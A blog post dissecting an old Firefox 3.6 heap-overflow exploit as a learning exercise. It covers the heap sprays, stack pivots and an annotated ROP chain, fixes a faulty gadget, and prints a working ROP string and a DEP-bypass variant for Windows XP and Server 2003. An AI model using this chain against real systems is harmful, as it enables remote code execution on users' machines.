[I found some old posts lurking around my hard drive from a few months ago. This is no longer the newest or best Firefox exploit, but you might find it interesting]
To learn a little bit more about exploit development and RE I took a look at the latest Firefox exploit in exploit-db (
http://www.exploit-db.com/exploits/15352/); ostensibly the same exploit used in the Nobel Peace Prize 0day attack of late October last year. (http://www.google.com/search?q=nobel+Firefox) I tested it out on a Windows XP VM and was disappointed that it did not work. After investigating, I discovered technically why it failed, but was still left wondering why it had been released as it had.
The Mozilla advisory http://www.mozilla.org/security/announce/2010/mfsa2010-73.html informs us that the vulnerability is triggered by interleaved calls to document.write and DOM insertion (document.appendChild) causing a heap buffer overflow. It was found by Morten Kråkvik of Telenor SOC while investigating an intrusion attempt on a customer network. Plenty of details of the vulnerability describing exactly what is happening, more than I will cover here, can be found at the Mozilla bug page for the vulnerability: https://bugzilla.mozilla.org/show_bug.cgi?id=607222#c53 In the end, pointers get run off the end of an array allocated on the heap.
The exploit performs two heap sprays; the contents of which are determined by Firefox version. The second spray generates many copies of the address of a stack pivot to move esp to the heap and return. This address will be the first address that eip is sent to when a function pointer is read from the heap. For example, on Firefox 3.6.11, the address used is 0x1017f7e7, which points to the following stack pivot:
1017f7e7 bc8891740d mov esp,0D749188h 1017f7ec 33f6 xor esi,esi 1017f7ee 8937 mov dword ptr [edi],esi 1017f7f0 b802400080 mov eax,80004002h 1017f7f5 5e pop esi 1017f7f6 c20400 ret 4
On Firefox 3.6.8, the address is 0x1029b8a7, which points to the following code:
1029b8a7 bc5057e813 mov esp,13E85750h 1029b8ac c20600 ret 6
and you get the idea. The first spray will fill the heap with a sequence of bytes that becomes the stack after the vulnerability is triggered. For each targeted version of Firefox, a different address is used for the spray, followed by a ROP string specific to the Firefox version. These ROP strings are derived from the corrensponding div in the HTML of the page with ID's of sun8, sun9, sun10, and sun11. Following the strings is the shellcode that will be executed. For Firefox 3.6.9, 3.6.10, and 3.6.11, this spray fills the heap with a retslide that will be followed until the ROP payload is hit. However, for Firefox 3.6.8, which the spray seems carefully tuned to target, the bytes being written are simply copies of 0x0d0d0d0d, and the start of the ROP string will be written precisely in memory at the address that the stack will be pointed to before executing the ret instruction, turning control over to the ROP string.
For any of the Firefox versions; once the ROP string is hit by esp; it directs the process to perform very similar instructions. For example; the instructions for Firefox 3.6.11 are shown below. Note: the module based at 0x1000000 is xul.dll which was predictably loaded at this address (in non-ASLR OS's).
ROP string is held in:
Translates to:
10004bc8 //retn 10004bc8 //retn 10004bc8 //retn 10004bc8 //retn 10004bc8 //retn 10004bc8 //retn 10004bc7 //pop eax retn 00000011 //NtAllocateVirtualMemory system call number for windows XP. 1000827f //pop ebx retn 7FFE0300 //address of mov edx,esp sysenter ret in XP 1000cda3 //jmp dword ptr [ebx] 10006689 //add esp, 28 retn //argments for NtAllocateVirtualMemory DEADB333 //? FFFFFFFF //ProcessHandle, current process (NtCurrentProcess()) 0d7857A8 //*BaseAddress 00000000 //ZeroBits 0d7857A0 //RegionSize 00001000 //MEM_COMMIT 00000040 //PAGE_EXECUTE_READWRITE 10004bc7 //pop eax retn 00000001 //RegionSize points to here 10004bc7 //pop eax retn 00000000 //BaseAddress points to here //Now it copies some executable code to the RWX buffer 100011a1 //pop ecx retn 0FEB9090 10073500 //mov [eax], ecx retn 100025df //inc eax retn 100025df //inc eax retn 100025df //inc eax retn 100025df //inc eax retn 100011a1 //pop ecx retn 18895B58 10073500 //mov [eax], ecx retn 100025df //inc eax retn 100025df //inc eax retn 100025df //inc eax retn 100025df //inc eax retn 100011a1 //pop ecx retn 74FFFB83 10073500 //mov [eax], ecx retn 100025df //inc eax retn 100025df //inc eax retn 100025df //inc eax retn 100025df //inc eax retn 100011a1 //pop ecx retn 04C0830B 10073500 //mov [eax], ecx retn 100025df //inc eax retn 100025df //inc eax retn 100025df //inc eax retn 100025df //inc eax retn 100011a1 //pop ecx retn E890F3EB 10073500 //mov [eax], ecx retn 100025df //inc eax retn 100025df //inc eax retn 100025df //inc eax retn 100025df //inc eax retn 100011a1 //pop ecx retn FFFFFFEC 10073500 //mov [eax], ecx retn //Now it jumps to the code stub 100011a1 //pop ecx retn 0d7857A8 1000827f //pop ebx retn 0d7857A8 1000cda3 //jmp dword ptr [ebx] code stub that was copied: 00000000 90 nop 00000001 90 nop 00000002 EB0F jmp short 0x13 00000004 58 pop eax 00000005 5B pop ebx 00000006 8918 mov [eax],ebx 00000008 83FBFF cmp ebx,byte -0x1 0000000B 740B jz 0x18 0000000D 83C004 add eax,byte +0x4 00000010 EBF3 jmp short 0x5 00000012 90 nop 00000013 E8ECFFFFFF call dword 0x4
which copies the shellcode after the ropstring to the RWX allocation until it hits a 0xFFFFFFFF; then jumps to the shellcode.
At least, that seems to be how it is supposed to work. In reality; it is easy to miss, but the instruction at 0x1000cda3 is jmp dword ptr [ebx] but the address of the system call is actually stored in ebx; not what ebx points to. So it should be replaced with the address to a jmp ebx instruction (for example, at 0x102138d2) or the exploit will completely fail, which is what I experienced. All of this makes me seriously question the version of the exploit posted to exploit-db. It doesn't make sense to me why it even exists. The rest of the instructions couldn't have been written or at least couldn't have been tested unless the jmp ebx instruction was correct. Did someone tamper with the exploit before it was submitted? What was the original? Maybe I just won't know. The exploit-db maintainers didn't either.
With the address fix, a functional rop string is "u4bc8u1000u4bc8u1000u4bc8u1000u4bc8u1000u4bc8u1000u4bc8u1000u4bc7u1000u0011u0000u827fu1000u0300u7FFEu38d2u1021u6689u1000uB333uDEADuFFFFuFFFFu57A8u0d78u0000u0000u57A0u0d78u1000u0000u0040u0000u4bc7u1000u0001u0000u4bc7u1000u0000u0000u11a1u1000u9090u0FEBu3500u1007u25dfu1000u25dfu1000u25dfu1000u25dfu1000u11a1u1000u5B58u1889u3500u1007u25dfu1000u25dfu1000u25dfu1000u25dfu1000u11a1u1000uFB83u74FFu3500u1007u25dfu1000u25dfu1000u25dfu1000u25dfu1000u11a1u1000u830Bu04C0u3500u1007u25dfu1000u25dfu1000u25dfu1000u25dfu1000u11a1u1000uF3EBuE890u3500u1007u25dfu1000u25dfu1000u25dfu1000u25dfu1000u11a1u1000uFFECuFFFFu3500u1007u11a1u1000u57A8u0d78u827fu1000u57A8u0d78ucda3u1000"
and replacing the existing shellcode with Metasploit shellcode to execute calc, I had no problem getting code execution on Windows XP. But this was an exercise in learning, and I wanted code execution in other Windows versions, specifically Windows Server 2003. Therefore, I needed to eliminate the hard-coded system call number and I wanted to eliminate the hard-coded addresses outside xul.dll in the ROP string for when the ntdll version was different. So I put together strings for each of the Firefox versions based on an import to VirtualAlloc in xul.dll to launch the shellcode. For example, for Firefox 3.6.11, it uses the following addresses:
10004bc8 //retn 100083ca //pop eax retn 10830280 //VirtualAlloc import at this address 10003b5a // mov eax, [eax] ret 100a8ef4 // jmp eax 10004bc8 // ret //argments for VirtualAlloc 00000000 //lpAddress 00001000 //dwSize 00001000 //flAllocationType = MEM_COMMIT 00000040 //flProtect = PAGE_EXECUTE_READWRITE
and the rest continues like the original exploit; copying code over to the new allocation before ending in a jmp eax at 100a8ef4.
Now I had a functional exploit bypassing DEP for Windows XP, Windows Server 2003, and probably any other Windows version without ASLR, and it just felt better than the original. So I put the code into a template I copied from another browser exploit, added information about CVE, disclosure date, etc., configured javascript obfuscation, and committed to metasploit. The OCD part of me wants to clean up some of the javascript; but it works.
Unfortunately, since Firefox 3.6.4 or so, ASLR support has been added to the Firefox DLL's so it doesn't work on Vista or later. Information I could find on bypassing DEP and ASLR from previous work either requires another exploit or incorporates addons like Flash or Java. But those have generally been moved to a separate process, so DEP + ASLR bypass will have to wait for the next blog post.